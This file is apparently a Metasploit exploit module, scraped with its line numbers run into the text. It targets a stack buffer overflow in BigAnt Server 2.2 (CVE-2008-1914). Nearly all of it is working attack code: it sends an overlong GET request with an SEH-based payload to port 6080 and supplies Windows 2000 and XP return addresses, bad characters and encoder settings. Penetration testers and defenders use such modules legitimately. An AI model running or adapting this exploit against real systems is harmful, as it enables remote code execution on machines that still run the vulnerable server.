Path: blob/master/modules/exploits/windows/misc/bigant_server.rb
19515 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'BigAnt Server 2.2 Buffer Overflow',16'Description' => %q{17This module exploits a stack buffer overflow in BigAnt Server 2.2.18By sending a specially crafted packet, an attacker may be19able to execute arbitrary code.20},21'Author' => [ 'MC' ],22'License' => MSF_LICENSE,23'References' => [24[ 'CVE', '2008-1914' ],25[ 'OSVDB', '44454' ],26[ 'BID', '28795' ],27],28'Privileged' => true,29'DefaultOptions' => {30'EXITFUNC' => 'process',31'AllowWin32SEH' => true32},33'Payload' => {34'Space' => 750,35'BadChars' => "\x00\x20\x0a\x0d",36'StackAdjustment' => -3500,37'EncoderType' => Msf::Encoder::Type::AlphanumUpper,38'DisableNops' => true,39},40'Platform' => 'win',41'Targets' => [42[ 'Windows 2000 Pro All English', { 'Ret' => 0x75022ac4 } ],43[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],44],45'DefaultTarget' => 0,46'DisclosureDate' => '2008-04-15',47'Notes' => {48'Reliability' => UNKNOWN_RELIABILITY,49'Stability' => UNKNOWN_STABILITY,50'SideEffects' => UNKNOWN_SIDE_EFFECTS51}52)53)5455register_options([Opt::RPORT(6080)])56end5758def exploit59connect6061sploit = "GET " + rand_text_alpha_upper(950) + generate_seh_payload(target.ret)62sploit << rand_text_alpha_upper(1024 - payload.encoded.length)6364print_status("Trying target #{target.name}...")65sock.put(sploit + "\n\n")6667handler68disconnect69end70end717273